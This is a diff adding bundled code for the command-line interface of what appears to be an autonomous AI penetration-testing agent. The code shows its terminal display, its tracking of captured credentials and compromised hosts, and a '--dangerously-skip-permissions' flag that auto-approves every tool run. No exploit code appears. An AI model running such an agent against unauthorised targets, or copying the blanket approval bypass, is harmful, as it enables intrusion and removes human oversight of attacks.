+\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255D\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557   \u2588\u2588\u2551   
+\u2588\u2588\u2554\u2550\u2550\u2550\u255D \u2588\u2588\u2554\u2550\u2550\u255D  \u2588\u2588\u2551\u255A\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2554\u2550\u2550\u255D  \u255A\u2550\u2550\u2550\u2550\u2588\u2588\u2551   \u2588\u2588\u2551   
+\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255A\u2588\u2588\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551   \u2588\u2588\u2551   
+\u255A\u2550\u255D     \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u255D  \u255A\u2550\u2550\u2550\u255D   \u255A\u2550\u255D   \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D   \u255A\u2550\u255D   
+`;
+var ICONS = {
+  skull: "[!]",
+  lock: "[locked]",
+  unlock: "[unlocked]",
+  target: "[target]",
+  fire: "[active]",
+  warning: "[!]",
+  success: "[+]",
+  error: "[-]",
+  running: "[*]",
+  thinking: "[?]",
+  terminal: "[$]",
+  network: "[net]",
+  exploit: "[exp]",
+  scan: "[scan]",
+  shell: "[shell]"
+};
+
+// src/cli/app.tsx
+import { jsx, jsxs } from "react/jsx-runtime";
+var App = ({
+  apiKey,
+  target: initialTarget,
+  autoStart = false,
+  autoApprove = false,
+  objective: initialObjective,
+  maxIterations = 200
+}) => {
+  const { exit } = useApp();
+  const [agent] = useState(() => new AutonomousHackingAgent(apiKey, { maxIterations, autoApprove }));
+  const [appState, setAppState] = useState({
+    status: "idle",
+    target: initialTarget || "",
+    currentPhase: "recon",
+    iteration: 0,
+    maxIterations,
+    findings: 0,
+    compromised: [],
+    credentials: 0,
+    services: 0
+  });
+  const [phases, setPhases] = useState([]);
+  const [thoughts, setThoughts] = useState([]);
+  const [logs, setLogs] = useState([]);
+  const [input, setInput] = useState("");
+  const [showThoughts, setShowThoughts] = useState(true);
+  const [isThinking, setIsThinking] = useState(false);
+  const addLog = useCallback((type, message) => {
+    const entry = {
+      id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
+      type,
+      message,
+      timestamp: /* @__PURE__ */ new Date()
+    };
+    setLogs((prev) => [...prev.slice(-50), entry]);
+  }, []);
+  useEffect(() => {
+    agent.on("thought", (thought) => {
+      setThoughts((prev) => [...prev.slice(-30), thought]);
+      setIsThinking(false);
+    });
+    agent.on("iteration", ({ current, max, phase }) => {
+      setAppState((prev) => ({
+        ...prev,
+        iteration: current,
+        maxIterations: max,
+        currentPhase: phase,
+        status: "running"
+      }));
+      setIsThinking(true);
+    });
+    agent.on("phase_change", ({ phaseId, newStatus }) => {
+      setAppState((prev) => ({ ...prev, currentPhase: phaseId }));
+      addLog("info", `[phase] ${phaseId} -> ${newStatus}`);
+    });
+    agent.on("tool_call", ({ name, input: input2 }) => {
+      addLog("tool", `[tool] ${name}: ${JSON.stringify(input2).slice(0, 100)}...`);
+    });
+    agent.on("tool_result", ({ name, result }) => {
+      if (result.success) {
+        addLog("success", `[+] ${name} completed (${result.duration}ms)`);
+      } else {
+        addLog("error", `[-] ${name} failed: ${result.error}`);
+      }
+    });
+    agent.on("finding", (finding) => {
+      addLog("finding", `[!] [${finding.severity.toUpperCase()}] ${finding.title}`);
+      setAppState((prev) => ({ ...prev, findings: prev.findings + 1 }));
+    });
+    agent.on("credential", (cred) => {
+      addLog("success", `[cred] ${cred.type} - ${cred.username || "unknown"}`);
+      setAppState((prev) => ({ ...prev, credentials: prev.credentials + 1 }));
+    });
+    agent.on("compromised", (host) => {
+      addLog("success", `[pwned] ${host}`);
+      setAppState((prev) => ({
+        ...prev,
+        compromised: [...prev.compromised, host]
+      }));
+    });
+    agent.on("complete", (summary) => {
+      setAppState((prev) => ({ ...prev, status: "completed" }));
+      addLog("success", `[done] Assessment complete: ${JSON.stringify(summary)}`);
+    });
+    agent.on("error", (error) => {
+      addLog("error", `[error] ${error.message}`);
+    });
+    agent.on("report", (report) => {
+      addLog("info", `[report] Generated (${report.length} chars)`);
+    });
+    const state = agent.getState();
+    setPhases(state.phases);
+    if (autoStart && initialTarget) {
+      agent.setTarget(initialTarget);
+      setAppState((prev) => ({ ...prev, target: initialTarget }));
+      agent.runAutonomous(initialObjective);
+    }
+    return () => {
+      agent.removeAllListeners();
+    };
+  }, [agent, addLog, autoStart, initialTarget, initialObjective]);
+  useEffect(() => {
+    const interval = setInterval(() => {
+      const state = agent.getState();
+      setPhases(state.phases);
+      setAppState((prev) => ({
+        ...prev,
+        services: state.target.services.length,
+        credentials: state.target.credentials.length,
+        compromised: state.target.compromised,
+        findings: state.findings.length
+      }));
+    }, 1e3);
+    return () => clearInterval(interval);
+  }, [agent]);
+  useInput((key, mods) => {
+    if (mods.ctrl && key === "c") {
+      exit();
+      return;
+    }
+    if (key === "t") {
+      setShowThoughts((prev) => !prev);
+    }
+    if (key === "p" && appState.status === "running") {
+      agent.pause();
+      setAppState((prev) => ({ ...prev, status: "paused" }));
+    }
+    if (key === "r" && appState.status === "paused") {
+      agent.resume();
+      setAppState((prev) => ({ ...prev, status: "running" }));
+    }
+  });
+  const processCommand = useCallback((cmd) => {
+    const parts = cmd.trim().split(/\s+/);
+    const command = parts[0].toLowerCase();
+    const args = parts.slice(1).join(" ");
+    switch (command) {
+      case "/target":
+        if (args) {
+          agent.setTarget(args);
+          setAppState((prev) => ({ ...prev, target: args }));
+          addLog("info", `[target] Set: ${args}`);
+        }
+        break;
+      case "/start":
+      case "/auto":
+        if (appState.target) {
+          const objective = args || void 0;
+          addLog("info", `[*] Starting autonomous hacking...`);
+          agent.runAutonomous(objective);
+        } else {
+          addLog("error", "No target set. Use /target <ip> first.");
+        }
+        break;
+      case "/hint":
+        if (args && appState.status === "running") {
+          agent.processUserHint(args);
+          addLog("info", `[hint] Sent to agent`);
+        }
+        break;
+      case "/pause":
+        agent.pause();
+        setAppState((prev) => ({ ...prev, status: "paused" }));
+        break;
+      case "/resume":
+        agent.resume();
+        break;
+      case "/reset":
+        agent.reset();
+        setAppState({
+          status: "idle",
+          target: "",
+          currentPhase: "recon",
+          iteration: 0,
+          maxIterations,
+          findings: 0,
+          compromised: [],
+          credentials: 0,
+          services: 0
+        });
+        setThoughts([]);
+        setLogs([]);
+        addLog("info", "Session reset");
+        break;
+      case "/findings":
+        const state = agent.getState();
+        state.findings.forEach((f) => {
+          addLog("finding", `[${f.severity}] ${f.title}: ${f.description.slice(0, 100)}`);
+        });
+        break;
+      case "/help":
+        addLog("info", "Commands: /target <ip>, /start [objective], /hint <hint>, /pause, /resume, /reset, /findings, /help");
+        addLog("info", "Keys: [T] Toggle thoughts, [P] Pause, [R] Resume, Ctrl+C Exit");
+        break;
+      default:
+        if (appState.status === "running" && cmd) {
+          agent.processUserHint(cmd);
+          addLog("info", `[hint] ${cmd}`);
+        }
+    }
+    setInput("");
+  }, [agent, appState, addLog, maxIterations]);
+  const getThoughtStyle = (type) => {
+    const styles = {
+      observation: { prefix: "[observe]", color: THEME.hacker.cyan },
+      hypothesis: { prefix: "[hypothesis]", color: THEME.hacker.yellow },
+      plan: { prefix: "[plan]", color: THEME.hacker.purple },
+      action: { prefix: "[action]", color: THEME.hacker.green },
+      result: { prefix: "[result]", color: THEME.text.primary },
+      reflection: { prefix: "[reflect]", color: THEME.hacker.orange },
+      stuck: { prefix: "[stuck]", color: THEME.hacker.red },
+      breakthrough: { prefix: "[breakthrough]", color: "#00ff00" }
+    };
+    return styles[type] || { prefix: "[info]", color: THEME.text.muted };
+  };
+  const getPhaseIcon = (status) => {
+    switch (status) {
+      case "completed":
+        return "[+]";
+      case "in_progress":
+        return "[*]";
+      case "failed":
+        return "[-]";
+      case "skipped":
+        return "[>]";
+      default:
+        return "[ ]";
+    }
+  };
+  return /* @__PURE__ */ jsxs(Box, { flexDirection: "column", padding: 1, children: [
+    /* @__PURE__ */ jsxs(Box, { flexDirection: "column", marginBottom: 1, children: [
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: ASCII_BANNER }),
+      /* @__PURE__ */ jsxs(Box, { marginTop: 1, justifyContent: "space-between", children: [
+        /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.red, children: [
+          ICONS.target,
+          " Target: ",
+          /* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: appState.target || "Not set" })
+        ] }),
+        /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
+          "Status: ",
+          /* @__PURE__ */ jsx(Text, { color: appState.status === "running" ? THEME.hacker.green : THEME.hacker.yellow, children: appState.status.toUpperCase() })
+        ] }),
+        /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
+          "Iteration: ",
+          /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.cyan, children: [
+            appState.iteration,
+            "/",
+            appState.maxIterations
+          ] })
+        ] })
+      ] })
+    ] }),
+    /* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.purple, paddingX: 1, children: [
+      /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Services: " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: appState.services }),
+      /* @__PURE__ */ jsx(Text, { children: " | " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Creds: " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: appState.credentials }),
+      /* @__PURE__ */ jsx(Text, { children: " | " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Pwned: " }),
+      /* @__PURE__ */ jsx(Text, { color: appState.compromised.length > 0 ? THEME.status.success : THEME.text.muted, children: appState.compromised.length > 0 ? appState.compromised.join(", ") : "0" }),
+      /* @__PURE__ */ jsx(Text, { children: " | " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Findings: " }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.orange, children: appState.findings })
+    ] }),
+    /* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.cyan, paddingX: 1, marginTop: 1, children: [
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: "[phases] " }),
+      phases.map((phase) => /* @__PURE__ */ jsx(Box, { marginRight: 1, children: /* @__PURE__ */ jsxs(
+        Text,
+        {
+          color: phase.id === appState.currentPhase ? THEME.hacker.yellow : phase.status === "completed" ? THEME.status.success : THEME.text.muted,
+          bold: phase.id === appState.currentPhase,
+          children: [
+            getPhaseIcon(phase.status),
+            phase.name,
+            phase.attempts > 0 && /* @__PURE__ */ jsxs(Text, { dimColor: true, children: [
+              "(",
+              phase.attempts,
+              ")"
+            ] })
+          ]
+        }
+      ) }, phase.id))
+    ] }),
+    showThoughts && /* @__PURE__ */ jsxs(
+      Box,
+      {
+        flexDirection: "column",
+        borderStyle: "single",
+        borderColor: THEME.hacker.purple,
+        paddingX: 1,
+        height: 10,
+        marginTop: 1,
+        children: [
+          /* @__PURE__ */ jsxs(Box, { children: [
+            /* @__PURE__ */ jsx(Text, { color: THEME.hacker.purple, bold: true, children: "[agent thoughts]" }),
+            isThinking && /* @__PURE__ */ jsxs(Box, { marginLeft: 2, children: [
+              /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: /* @__PURE__ */ jsx(Spinner, { type: "dots" }) }),
+              /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: " Thinking..." })
+            ] })
+          ] }),
+          /* @__PURE__ */ jsx(Static, { items: thoughts.slice(-6), children: (thought) => {
+            const style = getThoughtStyle(thought.type);
+            return /* @__PURE__ */ jsxs(Box, { children: [
+              /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
+                "[",
+                thought.timestamp.toLocaleTimeString(),
+                "]"
+              ] }),
+              /* @__PURE__ */ jsxs(Text, { color: style.color, children: [
+                " ",
+                style.prefix,
+                " ",
+                thought.content.slice(0, 120),
+                thought.content.length > 120 && "..."
+              ] })
+            ] }, thought.id);
+          } })
+        ]
+      }
+    ),
+    /* @__PURE__ */ jsxs(
+      Box,
+      {
+        flexDirection: "column",
+        borderStyle: "single",
+        borderColor: THEME.hacker.green,
+        paddingX: 1,
+        height: 12,
+        marginTop: 1,
+        children: [
+          /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, bold: true, children: "[activity log]" }),
+          /* @__PURE__ */ jsx(Static, { items: logs.slice(-10), children: (log) => /* @__PURE__ */ jsxs(Box, { children: [
+            /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
+              "[",
+              log.timestamp.toLocaleTimeString(),
+              "]"
+            ] }),
+            /* @__PURE__ */ jsxs(Text, { color: log.type === "success" ? THEME.status.success : log.type === "error" ? THEME.status.error : log.type === "warning" ? THEME.status.warning : log.type === "finding" ? THEME.hacker.orange : log.type === "tool" ? THEME.hacker.cyan : THEME.text.primary, children: [
+              " ",
+              log.message
+            ] })
+          ] }, log.id) })
+        ]
+      }
+    ),
+    /* @__PURE__ */ jsxs(Box, { marginTop: 1, children: [
+      /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.green, bold: true, children: [
+        "pentesting ",
+        ">",
+        " "
+      ] }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.text.primary, children: input }),
+      /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: "_" })
+    ] }),
+    /* @__PURE__ */ jsx(Box, { marginTop: 1, children: /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, dimColor: true, children: "[T] Toggle thoughts | [P] Pause | [R] Resume | Type command or hint" }) })
+  ] });
+};
+var app_default = App;
+
+// src/index.tsx
+import chalk from "chalk";
+import { jsx as jsx2 } from "react/jsx-runtime";
+var program = new Command();
+program.name("pentesting").version(APP_VERSION).description(APP_DESCRIPTION).option("--dangerously-skip-permissions", "Skip all permission prompts (dangerous!)").option("-t, --target <target>", "Set initial target");
+program.command("interactive", { isDefault: true }).alias("i").description("Start interactive TUI mode").action(() => {
+  const opts = program.opts();
+  const skipPermissions = opts.dangerouslySkipPermissions || false;
+  console.clear();
+  console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
+  if (skipPermissions) {
+    console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions"));
+    console.log(chalk.hex(THEME.hacker.red)("[!] All tool executions will be auto-approved!\n"));
+  }
+  console.log(chalk.hex(THEME.hacker.cyan)("Starting Pentest interactive mode...\n"));
+  const { waitUntilExit } = render(
+    /* @__PURE__ */ jsx2(
+      app_default,
+      {
+        autoApprove: skipPermissions,
+        target: opts.target
+      }
+    )
+  );
+  waitUntilExit();
+});
+program.command("run <objective>").alias("r").description("Run a single objective and exit").option("-o, --output <file>", "Output file for results").option("--max-steps <n>", "Maximum number of steps", "50").action(async (objective, options) => {
+  const opts = program.opts();
+  const skipPermissions = opts.dangerouslySkipPermissions || false;
+  console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
+  if (skipPermissions) {
+    console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions\n"));
+  }
+  console.log(chalk.hex(THEME.hacker.cyan)(`[target] Objective: ${objective}
+`));
+  const agent = new AutonomousHackingAgent(void 0, {
+    maxIterations: parseInt(options.maxSteps),
+    autoApprove: skipPermissions
+  });
+  if (opts.target) {
+    agent.setTarget(opts.target);
+  }
+  agent.on("tool_call", (data) => {
+    console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name} executing...`));
+  });
+  agent.on("finding", (finding) => {
+    const color = finding.severity === "critical" ? THEME.hacker.red : THEME.hacker.yellow;
+    console.log(chalk.hex(color)(`[!] [${finding.severity.toUpperCase()}] ${finding.title}`));
+  });
+  agent.on("error", (error) => {
+    console.error(chalk.hex(THEME.hacker.red)(`[-] Error: ${error.message}`));
+  });
+  try {
+    await agent.runAutonomous(objective);
+    console.log(chalk.hex(THEME.hacker.green)("\n[+] Assessment complete!\n"));
+    const summary = agent.getSummary();
+    console.log(JSON.stringify(summary, null, 2));
+    if (options.output) {
+      const fs2 = await import("fs/promises");
+      await fs2.writeFile(options.output, JSON.stringify(summary, null, 2));
+      console.log(chalk.hex(THEME.hacker.cyan)(`
+[+] Report saved to: ${options.output}`));
+    }
+  } catch (error) {
+    console.error(chalk.hex(THEME.hacker.red)(`
+[-] Failed: ${error.message}`));
+    process.exit(1);
+  }
+});
+program.command("scan <target>").description("Quick scan a target").option("-s, --scan-type <type>", "Scan type (quick|full|stealth|service|vuln)", "quick").option("-p, --ports <ports>", "Specific ports to scan").action(async (target, options) => {
+  const opts = program.opts();
+  const skipPermissions = opts.dangerouslySkipPermissions || false;
+  console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
+  console.log(chalk.hex(THEME.hacker.cyan)(`
+[scan] Target: ${target} (${options.scanType})
+`));
+  const agent = new AutonomousHackingAgent(void 0, { autoApprove: skipPermissions });
+  agent.setTarget(target);
+  agent.on("tool_call", (data) => {
+    console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name}...`));
+  });
+  await agent.runAutonomous(`Perform a ${options.scanType} scan on ${target}${options.ports ? ` focusing on ports ${options.ports}` : ""}. Analyze the results and identify potential vulnerabilities.`);
+  console.log(chalk.hex(THEME.hacker.green)("[+] Scan complete!"));
+});
+program.command("help-extended").description("Show extended help with examples").action(() => {
+  console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
+  console.log(`
+${chalk.hex(THEME.hacker.cyan)("Pentest - Autonomous Penetration Testing AI")}
+
+${chalk.hex(THEME.hacker.yellow)("Usage:")}
+
+  ${chalk.hex(THEME.hacker.green)("$ pentesting")}                                   Start interactive mode
+  ${chalk.hex(THEME.hacker.green)("$ pentesting -t 192.168.1.1")}                     Start with target
+  ${chalk.hex(THEME.hacker.green)("$ pentesting --dangerously-skip-permissions")}    Auto-approve all tools
+
+${chalk.hex(THEME.hacker.yellow)("Commands:")}
+
+  ${chalk.hex(THEME.hacker.cyan)("pentesting")}                       Interactive TUI mode
+  ${chalk.hex(THEME.hacker.cyan)("pentesting run <objective>")}       Run single objective
+  ${chalk.hex(THEME.hacker.cyan)("pentesting scan <target>")}         Quick scan target
+
+${chalk.hex(THEME.hacker.yellow)("Options:")}
+
+  ${chalk.hex(THEME.hacker.cyan)("--dangerously-skip-permissions")}    Skip all permission prompts
+  ${chalk.hex(THEME.hacker.cyan)("-t, --target <ip>")}                 Set target
+  ${chalk.hex(THEME.hacker.cyan)("-o, --output <file>")}               Save results to file
+
+${chalk.hex(THEME.hacker.yellow)("Interactive Commands:")}
+
+  ${chalk.hex(THEME.hacker.cyan)("/target <ip>")}     Set target
+  ${chalk.hex(THEME.hacker.cyan)("/start")}           Start autonomous mode
+  ${chalk.hex(THEME.hacker.cyan)("/hint <text>")}     Provide hint
+  ${chalk.hex(THEME.hacker.cyan)("/findings")}        Show findings
+  ${chalk.hex(THEME.hacker.cyan)("/reset")}           Reset session
+
+${chalk.hex(THEME.hacker.yellow)("Examples:")}
+
+  ${chalk.hex(THEME.text.muted)("# Full autonomous mode")}
+  $ pentesting --dangerously-skip-permissions -t 10.10.10.5
+
+  ${chalk.hex(THEME.text.muted)("# Run specific objective")}
+  $ pentesting run "Find SQL injection" -t http://target.com -o report.json
+
+  ${chalk.hex(THEME.text.muted)("# Quick vulnerability scan")}
+  $ pentesting scan 192.168.1.1 -s vuln
+
+${chalk.hex(THEME.hacker.yellow)("Environment:")}
+
+  ${chalk.hex(THEME.hacker.cyan)("ANTHROPIC_API_KEY")}    Required - Anthropic API key
+  ${chalk.hex(THEME.hacker.cyan)("PENTEST_MODEL")}        Optional - Model override
+
+${chalk.hex(THEME.text.muted)("For ethical hacking and authorized testing only.")}
+`);
+});
+program.parse();